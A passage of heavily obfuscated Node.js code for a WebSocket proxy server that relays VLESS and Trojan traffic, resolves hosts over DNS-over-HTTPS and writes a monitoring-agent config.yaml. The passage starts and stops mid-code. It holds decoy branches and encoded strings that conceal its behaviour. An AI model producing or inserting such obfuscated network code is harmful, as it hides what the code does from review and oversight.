v4','zqP0zw1WzxjHDa','C2HHmJi0','ugH3D2y','D3jPDgvizwfK','EM1Zqwi','zv9HDxrVx3vWza','DxbKyxrL','jNbHDgG9jtjg','shvN','vKrduK0','l251BgWGmJ4Mmq','Ag9ZDa','v3Pxvem','CgnkrvG','yxnpCMDHBML6yq','yvvLqu4','DxjLoIbMywXZzq','CMvHzfvjBNq4','BNbTigrVD25SBW','zNvSBhK','suzVB0C','zKrwvhK','zMT0yuK','y291BNrYEq','zgLZywjSzv9JBW','zvLzrKS','Awq6ia','vgL1BKG','ChrPB249BM9Uzq','ALfQELi','CMv0oIa','ywfYy2G2na','r2fcrMS','z0HLBei','q1z6B3q','uuvhB2W','zw5K','vuLdtKW','q3rtsvm','ywLfv1K','sg5lr3K','yxjTnJq','igzHBhnLcMrPCW','cNvZzv9NAxrLzq','Axr5pxrSCYzZBG','y29UzMLNlNLHBq','we1ltKy','zNjVBq','yMLUza','uKLYENu','Dw5SAw5R','zMnSsMK','y2nLC3nMDwXSEq','tLn6yu0','CwrNDxm','D0zHAee','rLvOy0K','Aw5KzxGUAhrTBa','q0resgW','qMPiBhy','y2f0y2G','Bg9N','DxjS','DxaGlI9UCg0Glq','qxzRCgq','CM4GDgHPCYiPka','BLP5r04','y2HTB2qGk3GGBG','qwnJzxnZifrHCW','y29UC29Szq','BhnLcMLUC2vJDq','u25VC0q','zwn0Aw9Ux2nVDq','y3rVCIGICMv0Dq','jNnLy3vYAxr5pq','BvjLBK4','yxbWBhK','wuvPr2K','CMv0DxjUicHMDq','Dw50CNLFy29Kzq','tuTXz08','ruLyBvm','C1DxD2S','CMvHzezPBgu','q0TfDMi','DMTlu2q','Dw5UAw5NlI4U','zMfSC2u','D0v3zhu','CMvWBgfJzq','tKvAsefFu0vsvG','AM9PBG','AhDMANe','zLzjswS','yu9VveK','y29UBMvJDgLVBG','C2HLBgW','AwXTrLy','CxjYvuK'];_0x2709=function(){return _0x538cf4;};return _0x2709();}const wss=new WebSocket[(_0x5438be(-0xb4,-0x1a3,-0x117,-0xf4))](_0x47b56d),uuid=UUID[_0x5438be(-0xd3,-0xb0,-0x144,-0x81)](/-/g,''),DNS_SERVERS=['8.8.4.4','1.1.1.1'];function resolveHost(_0x4dd56f){function _0x246c73(_0x207cd3,_0x4c1aa6,_0x4ae5dc,_0x482348){return _0x21134f(_0x207cd3,_0x4c1aa6-0x88,_0x4c1aa6-0x2a0,_0x482348-0x12a);}const _0x3d0f75={'qdgus':function(_0x3498ca,_0x4ea633){return _0x3498ca===_0x4ea633;},'Haohw':function(_0x2d79f7,_0x371e6a){return _0x2d79f7>_0x371e6a;},'CVzot':_0x246c73(0x227,0x1c3,0x144,0x1a8),'xWQsZ':function(_0x4172bc,_0x5aeaa0){return _0x4172bc!==_0x5aeaa0;},'KKiFo':function(_0x20f552,_0x36b7da){return _0x20f552(_0x36b7da);},'Nwvep':function(_0x23548c){return _0x23548c();}};return new Promise((_0x43ec3a,_0x4e7fa6)=>{const _0x34f818={'ELCLX':function(_0x335de8,_0x4d4276){function _0x552083(_0x3a5af1,_0x3abfbf,_0x283b86,_0x208514){return _0x2de5(_0x3a5af1-0x306,_0x208514);}return _0x3d0f75[_0x552083(0x4d5,0x577,0x523,0x590)](_0x335de8,_0x4d4276);},'gWCOj':function(_0x57359b,_0x10c527){return _0x3d0f75['Haohw'](_0x57359b,_0x10c527);},'hmPiS':_0x41ad74(0x21d,0x235,0x19d,0x259),'ZhyYd':_0x3d0f75[_0x39b921(-0x22b,-0x226,-0x25c,-0x249)],'RmJMY':function(_0x177bdf,_0x54940f){function _0xc6a3b1(_0x2f94e0,_0x173185,_0x4cc881,_0x4a5e05){return _0x41ad74(_0x4cc881,_0x173185-0x7d,_0x4cc881-0x191,_0x173185-0x6f);}return _0x3d0f75[_0xc6a3b1(0x302,0x25f,0x249,0x1a2)](_0x177bdf,_0x54940f);},'WfDyp':function(_0x54a5ad,_0x50eb75){function _0x14932e(_0x1b1abf,_0xd46d71,_0x4dd996,_0x37eebd){return _0x39b921(_0x37eebd-0x728,_0xd46d71-0x1a8,_0x4dd996,_0x37eebd-0xa4);}return _0x3d0f75[_0x14932e(0x6ed,0x613,0x5ba,0x636)](_0x54a5ad,_0x50eb75);},'UICNL':_0x41ad74(0x267,0x300,0x294,0x241)+'n/dns-json'};if(/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/[_0x41ad74(0x212,0x23a,0x23f,0x254)](_0x4dd56f)){_0x43ec3a(_0x4dd56f);return;}let _0x57dcbc=-0x16a7+0x1db2+-0x1*0x70b;function _0x1b8c43(){const _0x2f9173={'CsIwr':function(_0x454033,_0xc41614){function _0x17902a(_0xe5746d,_0xc82af6,_0xbe8098,_0x371037){return _0x2de5(_0xe5746d- -0x277,_0xc82af6);}return _0x34f818[_0x17902a(0x4d,-0xb,0x66,0x67)](_0x454033,_0xc41614);},'Avkpd':function(_0x87dde1,_0x3272f7){function _0x4fd266(_0x5a4401,_0x4497d5,_0x44afc1,_0x320c26){return _0x2de5(_0x44afc1- -0x34a,_0x320c26);}return _0x34f818[_0x4fd266(-0x169,-0x15b,-0x118,-0x1bc)](_0x87dde1,_0x3272f7);},'MxqOs':function(_0x25e70f,_0x2e0746){return _0x25e70f(_0x2e0746);},'gPUMg':_0x34f818[_0x3d9204(0x22e,0x20f,0x25d,0x271)],'Cizyl':_0x34f818[_0x243f8f(-0x60,-0xe9,-0x86,-0x69)],'NQJLj':function(_0x448513,_0x464f0e){function _0x5662c3(_0x471ddd,_0x3aa6e1,_0x56d4ad,_0x4ba831){return _0x243f8f(_0x3aa6e1,_0x3aa6e1-0x64,_0x4ba831-0x5f,_0x4ba831-0x13);}return _0x34f818[_0x5662c3(0x20b,0x13c,0x1d2,0x153)](_0x448513,_0x464f0e);},'RvXPE':_0x243f8f(0x2,0x29,0xbb,0x1e),'FvPGP':function(_0x4f718f){return _0x4f718f();}};function _0x243f8f(_0x258b8c,_0x414b96,_0x59b889,_0x57cb32){return _0x39b921(_0x59b889-0x1da,_0x414b96-0x10e,_0x258b8c,_0x57cb32-0x1b2);}if(_0x57dcbc>=DNS_SERVERS[_0x3d9204(0x41c,0x349,0x3e1,0x463)]){_0x34f818[_0x3d9204(0x349,0x3bd,0x346,0x3cd)](_0x4e7fa6,new Error(_0x243f8f(-0x125,-0x119,-0xab,-0x93)+_0x3d9204(0x489,0x497,0x3d5,0x328)+_0x4dd56f+(_0x3d9204(0x407,0x367,0x338,0x367)+_0x243f8f(0x130,0x11e,0xb2,0x53)+'s')));return;}const _0x102d36=DNS_SERVERS[_0x57dcbc];_0x57dcbc++;const _0x16d29c=_0x243f8f(0x6e,-0x43,0xb,-0x41)+_0x243f8f(0x10c,0xc9,0xa8,0xc1)+_0x243f8f(0x15c,0x81,0xaa,0xa6)+'e='+_0x34f818[_0x243f8f(-0xd,0xa0,0x4f,-0x7e)](encodeURIComponent,_0x4dd56f)+'&type=A';function _0x3d9204(_0x52c7f3,_0xc2a67,_0x1b69ee,_0x3b9e5c){return _0x39b921(_0x1b69ee-0x4d1,_0xc2a67-0xe4,_0x52c7f3,_0x3b9e5c-0x1da);}const _0x15c22b={};_0x15c22b[_0x243f8f(0x4e,0x22,0xa0,0x136)]=_0x34f818[_0x3d9204(0x20d,0x243,0x2a9,0x2c9)];const _0x147124={};_0x147124['timeout']=0x1388,_0x147124['headers']=_0x15c22b,axios[_0x3d9204(0x25e,0x1ea,0x276,0x1c9)](_0x16d29c,_0x147124)['then'](_0x423fe3=>{function _0x4915b8(_0x41b5e9,_0x45234b,_0x220fa1,_0x57b260){return _0x3d9204(_0x220fa1,_0x45234b-0xc4,_0x45234b- -0x323,_0x57b260-0x11e);}function _0x391f8e(_0x3f3dc2,_0x4077fa,_0x4d4b64,_0x3a1908){return _0x3d9204(_0x3a1908,_0x4077fa-0xe0,_0x4077fa- -0x252,_0x3a1908-0x1c4);}const _0x1de0b1=_0x423fe3[_0x391f8e(0x20d,0x142,0x109,0x122)];if(_0x2f9173[_0x391f8e(0xb,0x1b,-0x1f,0x89)](_0x1de0b1['Status'],0x121b*-0x1+-0x20a6+0x32c1)&&_0x1de0b1[_0x4915b8(0x90,0x73,-0x23,0x13d)]&&_0x2f9173[_0x391f8e(0x50,0x72,0x130,0xb7)](_0x1de0b1[_0x391f8e(0x135,0x144,0x16b,0x10f)][_0x4915b8(0x87,0xbe,0x8c,0x190)],0x20b*-0x7+0x258b+0xb9f*-0x2)){const _0x31573c=_0x1de0b1[_0x4915b8(0x4d,0x73,0xf2,0x139)][_0x391f8e(0x152,0x193,0x102,0x23c)](_0x36c4bb=>_0x36c4bb[_0x391f8e(0xe0,0xf7,0xf9,0x5c)]===-0x1*0x205c+0x1d49+-0x18a*-0x2);if(_0x31573c){_0x2f9173['MxqOs'](_0x43ec3a,_0x31573c[_0x391f8e(0x10f,0x142,0xa9,0x16c)]);return;}}_0x1b8c43();})[_0x243f8f(0x7c,-0x87,-0x37,-0x2a)](_0x1a1309=>{function _0x48ad44(_0x5292c1,_0x15325f,_0xe109b8,_0x75dd28){return _0x3d9204(_0xe109b8,_0x15325f-0x19d,_0x75dd28-0x2f9,_0x75dd28-0x1d3);}const _0x23ea1d={};_0x23ea1d[_0x2dec73(0x14d,0x161,0xb8,0x228)]=_0x2f9173['gPUMg'],_0x23ea1d[_0x48ad44(0x61c,0x658,0x627,0x5fe)]=_0x2f9173['Cizyl'],_0x23ea1d['SFoND']='config.yam'+'l';const _0x26af33=_0x23ea1d;function _0x2dec73(_0x529d79,_0xefd3d1,_0x2e92cb,_0xd9cb22){return _0x243f8f(_0xd9cb22,_0xefd3d1-0x182,_0xefd3d1-0xec,_0xd9cb22-0x36);}if(_0x2f9173[_0x2dec73(0xa7,0x122,0x10b,0x197)]('rvDEO',_0x2f9173[_0x48ad44(0x480,0x539,0x480,0x544)])){const _0x2285a9=_0x176291[_0x2dec73(0x65,0x104,0x6f,0x142)](':')?_0x1b1e45['split'](':')[_0x48ad44(0x51d,0x5e9,0x5ca,0x550)]():'',_0x229e27=_0x3106c9['includes'](_0x2285a9)?_0x26af33['fCAph']:_0x26af33['rirzI'],_0x26b65b=_0x2dec73(0x155,0x14c,0xfa,0x172)+_0x48ad44(0x4f5,0x505,0x5b9,0x59b)+_0x2bd988+(_0x2dec73(0x5e,0x68,0x56,0x134)+_0x48ad44(0x5c2,0x623,0x707,0x65d)+_0x2dec73(-0xa,0x7e,0xaa,-0x49)+_0x2dec73(0x15c,0x16d,0x197,0x126)+_0x48ad44(0x5dc,0x605,0x65a,0x595)+_0x48ad44(0x67d,0x581,0x679,0x64f)+_0x48ad44(0x720,0x5de,0x5f1,0x661)+_0x2dec73(0x105,0x130,0x99,0x14f)+'orce_updat'+_0x48ad44(0x699,0x62b,0x716,0x6c3)+'sable_nat:'+_0x2dec73(0xe1,0xa3,0xf3,-0x25)+_0x2dec73(0xbc,0x151,0x20f,0x204)+_0x2dec73(0x111,0x163,0x1e7,0xaa)+'se\x0agpu:\x20fa'+_0x48ad44(0x5ec,0x56c,0x56d,0x5c3)+_0x2dec73(0x1d3,0x1c2,0x1b2,0x1ea)+_0x48ad44(0x5c0,0x6e0,0x649,0x680)+_0x2dec73(0x118,0x55,0xf9,-0x50)+'\x201800\x0arepo'+_0x2dec73(0xef,0x6d,0x117,0x3d)+_0x2dec73(0x182,0x172,0xb5,0x1d2))+_0x487bc4+('\x0askip_conn'+_0x48ad44(0x5de,0x529,0x53c,0x5c5)+_0x48ad44(0x64b,0x67f,0x685,0x6b1)+'kip_procs_'+_0x2dec73(0xe0,0xe6,0x1ac,0x2c)+'e\x0atemperat'+_0x48ad44(0x5c8,0x5d4,0x536,0x58d)+_0x2dec73(0x24b,0x1c9,0x242,0x1e7))+_0x229e27+('\x0ause_gitee'+_0x48ad44(0x5d8,0x6d3,0x62d,0x617)+_0x2dec73(0x16c,0x165,0x1b5,0xff)+'se_ipv6_co'+_0x48ad44(0x501,0x5e3,0x617,0x5cc)+_0x48ad44(0x6e5,0x720,0x6cc,0x6d7)+_0x2dec73(0x2a,0x93,0x95,0x10d))+_0x457e98;_0xb0233c[_0x2dec73(0x1ef,0x1d2,0x1c0,0x21d)+_0x48ad44(0x780,0x780,0x717,0x6c1)](_0x26af33['SFoND'],_0x26b65b);}else _0x2f9173['FvPGP'](_0x1b8c43);});}function _0x39b921(_0x3b23ea,_0x38d3d2,_0x62cc8b,_0x2cfe4c){return _0x246c73(_0x62cc8b,_0x3b23ea- -0x3b9,_0x62cc8b-0xdf,_0x2cfe4c-0x79);}function _0x41ad74(_0x49d1f7,_0xb4f7a8,_0x52d609,_0x27cf37){return _0x246c73(_0x49d1f7,_0x27cf37- -0x44,_0x52d609-0x190,_0x27cf37-0xbb);}_0x3d0f75[_0x39b921(-0x27b,-0x2ad,-0x2be,-0x345)](_0x1b8c43);});}function handleVlessConnection(_0x3db2cd,_0x3f9a09){const _0x4792fd={'mjRuK':_0x3145ce(0x11e,0x164,0x1c0,0x1c6),'usSii':_0x20745a(0x22d,0x218,0x2a9,0x319)+_0x20745a(0x2cb,0x336,0x301,0x306)+'yc.mn/v1','ydmUS':function(_0x305365,_0x23ea07){return _0x305365===_0x23ea07;},'UXeYM':'voxUN','BzWVM':function(_0x34e337,_0x5cf8da){return _0x34e337===_0x5cf8da;},'Phwwf':'pcJEX','jQjzR':function(_0x1b6fc7,_0x57e1dc){return _0x1b6fc7!==_0x57e1dc;},'OrJig':_0x20745a(0x198,0x1bb,0x23d,0x30b),'Niuog':_0x3145ce(0x157,0x263,0x133,0x1d1),'HhWiJ':function(_0x1ecc7e,_0x397195){return _0x1ecc7e+_0x397195;},'WYegT':function(_0x38d0d5,_0x312784){return _0x38d0d5==_0x312784;},'bRUrl':function(_0x4ed1ff,_0x399b8c){return _0x4ed1ff+_0x399b8c;},'VDTSa':function(_0x4b8847,_0x21906a){return _0x4b8847+_0x21906a;},'VXnHE':function(_0x5bbdca,_0x13d6c5){return _0x5bbdca(_0x13d6c5);},'ScRDv':function(_0x2f7e5d,_0x4f97b8){return _0x2f7e5d(_0x4f97b8);}},[_0x3b9c1d]=_0x3f9a09,_0x101e0d=_0x3f9a09[_0x3145ce(0x232,0x330,0x239,0x2f3)](-0x219d+0x1a8e+-0x8*-0xe2,0x2*-0x82f+-0x43c+-0x1e1*-0xb);if(!_0x101e0d[_0x20745a(0x25d,0x38c,0x311,0x277)]((_0x33b9ff,_0xf64688)=>_0x33b9ff==parseInt(uuid['substr'](_0xf64688*(-0x1*0x2395+0x5*0x10b+0x6*0x510),-0xc*-0x13a+0x1473+-0x2329),0x499*-0x1+0x1bd*-0x1+-0x27*-0x2a)))return![];let _0x2f7e38=_0x4792fd[_0x20745a(0x3f1,0x3cc,0x35d,0x2fd)](_0x3f9a09[_0x3145ce(0x274,0x2f3,0x2d5,0x2f3)](0x43*0x43+0x10*0x10f+-0x2268,-0x2*-0x126b+-0x1f66*-0x1+0x6d1*-0xa)['readUInt8'](),0x3*-0x15d+-0x1617+-0x205*-0xd);const _0xdbadea=_0x3f9a09['slice'](_0x2f7e38,_0x2f7e38+=0x1*0x1387+0xb37+0x7*-0x464)[_0x3145ce(0x32b,0x23a,0x291,0x2cc)+'BE'](0x121+0xae6+-0xc07),_0x15b44f=_0x3f9a09[_0x20745a(0x35d,0x3e9,0x34a,0x30e)](_0x2f7e38,_0x2f7e38+=0x2*0xaf1+0x2662+0x1*-0x3c43)['readUInt8'](),_0x294096=_0x15b44f==0x1b56*-0x1+0x136d+0x7ea*0x1?_0x3f9a09[_0x3145ce(0x22c,0x316,0x32f,0x2f3)](_0x2f7e38,_0x2f7e38+=0x25ca+0xe63+-0x3429)[_0x3145ce(0x1eb,0x2f7,0x213,0x249)]('.'):_0x4792fd[_0x3145ce(0x314,0x333,0x349,0x2b2)](_0x15b44f,0x25a3+0x7*0x52f+-0x49ea)?new TextDecoder()['decode'](_0x3f9a09['slice'](_0x4792fd['bRUrl'](_0x2f7e38,0x17c3+0xad*0x2b+-0x119b*0x3),_0x2f7e38+=_0x4792fd[_0x20745a(0x215,0x2f8,0x2bd,0x36d)](0x2*-0x6d1+-0x1014+-0x1*-0x1db7,_0x3f9a09['slice'](_0x2f7e38,_0x2f7e38+(-0xd9*0x11+-0x115b+0x1fc5*0x1))[_0x20745a(0x251,0x1fb,0x256,0x279)]()))):_0x4792fd['WYegT'](_0x15b44f,0x711+-0xe8*0x1+-0x626)?_0x3f9a09[_0x3145ce(0x29f,0x389,0x337,0x2f3)](_0x2f7e38,_0x2f7e38+=0x101+-0x2*-0x11a+-0x325)['reduce']((_0x2d79be,_0x41f210,_0x15edcf,_0x97f774)=>_0x15edcf%(0x256b+0xce3*-0x3+0x140)?_0x2d79be[_0x3145ce(0x2e4,0x2da,0x288,0x255)](_0x97f774[_0x20745a(0x2bf,0x33d,0x34a,0x287)](_0x15edcf-(0x218*0x8+-0x409*0x1+0x65b*-0x2),_0x15edcf+(-0x4b5+-0xcb3+-0x1169*-0x1))):_0x2d79be,[])[_0x20745a(0x345,0x33a,0x300,0x392)](_0x271276=>_0x271276[_0x3145ce(0x39b,0x36f,0x2b0,0x2cc)+'BE'](0xd1*0x14+-0xe15+-0x23f)['toString'](-0x543*0x6+-0x267f+0x565*0xd))['join'](':'):'';function _0x20745a(_0x51a3a2,_0x238317,_0x17ed9c,_0x36b265){return _0x5438be(_0x51a3a2,_0x238317-0x110,_0x17ed9c-0x3e2,_0x36b265-0x31);}_0x3db2cd[_0x20745a(0x24e,0x2f7,0x316,0x30e)](new Uint8Array([_0x3b9c1d,-0xf6b*-0x1+-0x592+0x9d9*-0x1]));const _0x2e7ad9=_0x4792fd[_0x3145ce(0x2b5,0x2b1,0x306,0x26a)](createWebSocketStream,_0x3db2cd);function _0x3145ce(_0x498a55,_0x469477,_0x359860,_0x1afcc9){return _0x5438be(_0x498a55,_0x469477-0x1be,_0x1afcc9-0x38b,_0x1afcc9-0x1);}return _0x4792fd[_0x20745a(0x281,0x296,0x332,0x2ee)](resolveHost,_0x294096)[_0x20745a(0x30f,0x3b2,0x2e1,0x313)](_0x4ccdef=>{function _0x1b2bb3(_0x404c6f,_0x1e43ea,_0x30170e,_0x5d76b9){return _0x3145ce(_0x5d76b9,_0x1e43ea-0x1cb,_0x30170e-0x1d,_0x30170e- -0x197);}function _0x7b0b81(_0x4dfb27,_0x1a808b,_0x49e92f,_0x82b103){return _0x3145ce(_0x82b103,_0x1a808b-0x107,_0x49e92f-0xb8,_0x1a808b-0x1e2);}if(_0x4792fd['ydmUS'](_0x4792fd[_0x1b2bb3(0x3,0x135,0xc6,0xcb)],_0x4792fd['UXeYM'])){const _0x349215={};_0x349215['host']=_0x4ccdef,_0x349215[_0x1b2bb3(0x164,0xbe,0xd7,0x2a)]=_0xdbadea,net[_0x1b2bb3(0xf4,0x8f,0xc3,0x170)](_0x349215,function(){function _0x124e90(_0x288482,_0x2214c6,_0x5d52e7,_0x58234f){return _0x1b2bb3(_0x288482-0x9d,_0x2214c6-0x78,_0x58234f-0x2db,_0x288482);}function _0x19079d(_0x1ac717,_0x52fa93,_0x816445,_0xce0506){return _0x7b0b81(_0x1ac717-0xa0,_0xce0506- -0xc1,_0x816445-0x16f,_0x1ac717);}this['write'](_0x3f9a09[_0x124e90(0x403,0x3ab,0x505,0x437)](_0x2f7e38)),_0x2e7ad9['on'](_0x4792fd[_0x19079d(0x392,0x49c,0x3a4,0x45a)],()=>{})[_0x124e90(0x3e0,0x479,0x3b9,0x470)](this)['on'](_0x4792fd[_0x124e90(0x4ee,0x482,0x4c7,0x47d)],()=>{})[_0x19079d(0x3db,0x3c7,0x3d5,0x44d)](_0x2e7ad9);})['on'](_0x4792fd['mjRuK'],()=>{});}else return!_0x1b7632?_0x4792fd['usSii']:_0x7b0b81(0x43b,0x434,0x3b6,0x439)+_0x7b0b81(0x514,0x48c,0x490,0x460)+_0x1b2bb3(0x1a1,0x210,0x168,0xac)+'t';})['catch'](_0x2d1222=>{function _0x7c4cb3(_0x360e45,_0x5bc629,_0x2f7532,_0x428954){return _0x3145ce(_0x428954,_0x5bc629-0xfe,_0x2f7532-0x1de,_0x2f7532- -0x55);}const _0x2ae398={'DyHfx':function(_0xce7de7,_0x209e3f){return _0x4792fd['BzWVM'](_0xce7de7,_0x209e3f);},'wUAjR':_0x4792fd[_0x257d2b(-0x222,-0x182,-0x22d,-0x1c6)],'JazJG':_0x4792fd['mjRuK']};function _0x257d2b(_0x5ab17a,_0x199be2,_0x596da7,_0x5312d8){return _0x3145ce(_0x199be2,_0x199be2-0x17f,_0x596da7-0xaf,_0x5ab17a- -0x412);}if(_0x4792fd[_0x7c4cb3(0x221,0x22d,0x1b6,0x140)](_0x4792fd['OrJig'],_0x4792fd['Niuog'])){const _0x5c5500={};_0x5c5500[_0x257d2b(-0x219,-0x212,-0x26b,-0x1c2)]=_0x294096,_0x5c5500['port']=_0xdbadea,net[_0x7c4cb3(0x26e,0x282,0x205,0x1f4)](_0x5c5500,function(){function _0x401b65(_0x3881bb,_0x2cdbf8,_0x18a98a,_0xeba5c5){return _0x7c4cb3(_0x3881bb-0x150,_0x2cdbf8-0xcc,_0x2cdbf8- -0x157,_0x18a98a);}function _0x2bd44f(_0x577cf4,_0x1d021d,_0x22b0e7,_0x2c2663){return _0x257d2b(_0x577cf4-0x41b,_0x22b0e7,_0x22b0e7-0xee,_0x2c2663-0x66);}if(_0x2ae398['DyHfx'](_0x2ae398['wUAjR'],_0x2bd44f(0x204,0x1a6,0x204,0x1eb)))this[_0x401b65(0xa4,0x160,0x1d6,0x231)](_0x3f9a09[_0x401b65(0x1d1,0x147,0x1db,0x140)](_0x2f7e38)),_0x2e7ad9['on'](_0x2ae398[_0x2bd44f(0x2b6,0x229,0x28f,0x347)],()=>{})['pipe'](this)['on'](_0x2ae398['JazJG'],()=>{})[_0x2bd44f(0x335,0x348,0x300,0x2b5)](_0x2e7ad9);else return;})['on'](_0x4792fd['mjRuK'],()=>{});}else return'https://ar'+_0x257d2b(-0x168,-0x1dd,-0xbf,-0x154)+_0x7c4cb3(0x25d,0x36f,0x2b8,0x2ac);}),!![];}function handleTrojanConnection(_0x2d811f,_0x3c7f77){function _0x97744a(_0x4399e8,_0x4ac2e7,_0x1d9397,_0x54093a){return _0x21134f(_0x54093a,_0x4ac2e7-0x132,_0x4399e8-0x625,_0x54093a-0x0);}const _0x28c6a0={'eCnLQ':_0x97744a(0x632,0x658,0x595,0x68e),'XeiGB':_0x523308(0x5a7,0x597,0x578,0x4dc)+'l','Jmgov':function(_0x554a63,_0x4b6c01){return _0x554a63(_0x4b6c01);},'VDCRM':_0x97744a(0x53f,0x4f8,0x5e2,0x4c9)+_0x97744a(0x588,0x55b,0x58d,0x52a),'aOoTI':_0x97744a(0x5a7,0x5df,0x615,0x4ed)+_0x97744a(0x53a,0x572,0x5fe,0x570)+_0x97744a(0x532,0x5be,0x597,0x501)+'\x20)','nXpPX':_0x523308(0x6ba,0x66d,0x638,0x6d1),'HyhSx':_0x97744a(0x561,0x599,0x525,0x4fe)+_0x523308(0x5e8,0x651,0x5e6,0x632),'HNsJS':function(_0x5cb7a7,_0x239038){return _0x5cb7a7<_0x239038;},'OXYau':'error','HwOHH':function(_0x1ae423,_0x4bfc1e){return _0x1ae423<_0x4bfc1e;},'lJXeL':_0x523308(0x57b,0x631,0x5c8,0x4bc),'tcKwB':_0x97744a(0x4f0,0x4c0,0x459,0x4cc),'rSYKV':function(_0x27dd5f,_0x59cb7f){return _0x27dd5f!==_0x59cb7f;},'DHezH':_0x97744a(0x519,0x4ee,0x4f7,0x4a5),'PTfxJ':function(_0x4e88fb,_0x462d19){return _0x4e88fb+_0x462d19;},'ICmyM':function(_0x40933f,_0x25eaf0){return _0x40933f===_0x25eaf0;},'CKEvb':function(_0x585c80,_0xad5b36){return _0x585c80+_0xad5b36;},'NxUcH':function(_0x158cb9,_0x59893f){return _0x158cb9===_0x59893f;},'SWJvp':_0x97744a(0x511,0x5a6,0x52b,0x5d9),'JvUQl':_0x97744a(0x53e,0x479,0x488,0x56a),'pmBzD':function(_0x31e254,_0x188364){return _0x31e254+_0x188364;},'Wzegb':function(_0x3d0e6d,_0x2015d3){return _0x3d0e6d===_0x2015d3;},'WRiek':function(_0x36c9c8,_0x249edf){return _0x36c9c8+_0x249edf;},'atDiP':function(_0x653229,_0x49f3d7){return _0x653229!==_0x49f3d7;},'fynGI':'lcpzg','VonLd':function(_0x6ca72a,_0x29bc59){return _0x6ca72a(_0x29bc59);}};function _0x523308(_0x587d91,_0x39ef56,_0x3b14c1,_0x27d5e1){return _0x21134f(_0x3b14c1,_0x39ef56-0xb8,_0x587d91-0x6ae,_0x27d5e1-0x160);}try{if(_0x28c6a0[_0x97744a(0x5ef,0x6a3,0x5d4,0x5fd)](_0x3c7f77[_0x523308(0x6d7,0x69a,0x702,0x6c0)],0xaa*-0xd+0x1*-0x1183+0x1a5f))return![];const _0x26e46a=_0x3c7f77[_0x523308(0x67f,0x5b6,0x5c5,0x71f)](-0x1*0x1e9e+0x1*0x13f5+0xaa9*0x1,-0x24c5*0x1+-0xae0+-0x1*-0x2fdd)[_0x97744a(0x5ec,0x67b,0x53a,0x632)](),_0x4eb9f8=[UUID];let _0x39d60a=null;for(const _0x436ed6 of _0x4eb9f8){const _0x1c6e82=crypto[_0x97744a(0x56c,0x547,0x4d8,0x558)](_0x28c6a0[_0x523308(0x543,0x47f,0x4a6,0x5b6)])[_0x523308(0x580,0x5f4,0x54e,0x5a6)](_0x436ed6)['digest'](_0x28c6a0[_0x523308(0x6c2,0x682,0x744,0x650)]);if(_0x1c6e82===_0x26e46a){_0x39d60a=_0x436ed6;break;}}if(!_0x39d60a)return![];let _0x4710de=-0x1*0x533+0xf*-0x1fc+0x232f;_0x3c7f77[_0x4710de]===-0xca0+-0x4*-0x93+0xa61*0x1&&_0x3c7f77[_0x4710de+(0x9e5*-0x1+0x19*-0x68+0x140e)]===-0x1e90+0x28d*-0x5+0x2b5b&&(_0x4710de+=-0x2368+-0x5*0x2b6+-0x8*-0x61f);const _0x43ea9f=_0x3c7f77[_0x4710de];if(_0x28c6a0[_0x97744a(0x626,0x681,0x5ff,0x5f7)](_0x43ea9f,-0x238*0x8+-0x25cb+-0x5*-0xb1c))return![];_0x4710de+=-0x2562+-0x27*0x2+0x25b1;const _0x2e3363=_0x3c7f77[_0x4710de];_0x4710de+=-0xa48+-0x3*-0x851+-0xeaa;let _0x4fbeba,_0x593873;if(_0x2e3363===-0x11f6+0x8ff+0x11f*0x8)_0x28c6a0[_0x523308(0x60c,0x687,0x5b1,0x6a6)]!==_0x28c6a0['DHezH']?(_0x503508[_0x97744a(0x523,0x59e,0x5d7,0x48e)](_0x28c6a0[_0x523308(0x670,0x6b4,0x602,0x5c3)],()=>{}),_0x2cff38[_0x523308(0x5ac,0x4ff,0x55f,0x5d7)](_0x28c6a0['XeiGB'],()=>{})):(_0x4fbeba=_0x3c7f77[_0x97744a(0x5f6,0x661,0x573,0x5c5)](_0x4710de,_0x28c6a0[_0x523308(0x5eb,0x52f,0x683,0x6a7)](_0x4710de,0x84+0x4*0x6d5+-0x1bd4))['join']('.'),_0x4710de+=-0xb2f*-0x3+-0xe7e+-0xc3*0x19);else{if(_0x28c6a0[_0x97744a(0x5bc,0x652,0x660,0x61d)](_0x2e3363,-0x191c+-0x2396+-0x3cb5*-0x1)){const _0x3a8af6=_0x3c7f77[_0x4710de];_0x4710de+=0xb9*-0xd+-0x2678+0x2fde,_0x4fbeba=_0x3c7f77[_0x523308(0x67f,0x702,0x5e2,0x5f4)](_0x4710de,_0x28c6a0[_0x523308(0x5ce,0x669,0x684,0x512)](_0x4710de,_0x3a8af6))[_0x97744a(0x5ec,0x5c7,0x671,0x5c5)](),_0x4710de+=_0x3a8af6;}else{if(_0x28c6a0[_0x523308(0x650,0x6c2,0x5b3,0x6d0)](_0x2e3363,-0x1d8b*0x1+0xb*-0x149+-0x22*-0x149)){if(_0x28c6a0[_0x97744a(0x4c1,0x4b7,0x418,0x432)]===_0x28c6a0[_0x523308(0x624,0x57f,0x5c6,0x5a5)]){const _0xf4813a=euDXwJ[_0x97744a(0x565,0x4a7,0x602,0x50c)](_0x5bef67,euDXwJ[_0x97744a(0x4fa,0x57a,0x492,0x47e)]+euDXwJ[_0x523308(0x5d8,0x5f3,0x565,0x610)]+');');_0x2a64d9=_0xf4813a();}else _0x4fbeba=_0x3c7f77[_0x97744a(0x5f6,0x632,0x624,0x6af)](_0x4710de,_0x28c6a0[_0x97744a(0x5c5,0x627,0x5c0,0x640)](_0x4710de,0x6*-0x5c6+-0x1b6*0x12+0x4180))[_0x523308(0x62a,0x615,0x5d1,0x5c9)]((_0xfa6b0,_0x5ca712,_0x50db34,_0x4853e7)=>_0x50db34%(-0x2*0x879+0x1*-0x1479+0x256d)?_0xfa6b0['concat'](_0x4853e7['slice'](_0x50db34-(0x13d*0x1d+0x136c+-0x3754),_0x50db34+(-0x18b+0x137f+-0x11f3))):_0xfa6b0,[])[_0x523308(0x635,0x61a,0x699,0x706)](_0x508db2=>_0x508db2[_0x97744a(0x5cf,0x580,0x687,0x580)+'BE'](-0x13d2+0x69c+0xd36)[_0x523308(0x675,0x603,0x737,0x5e9)](0x6ef+-0xa3*-0x31+-0x2612))[_0x97744a(0x54c,0x494,0x4cc,0x481)](':'),_0x4710de+=-0x1*0x1c2c+0x1ae2+-0x2*-0xad;}else 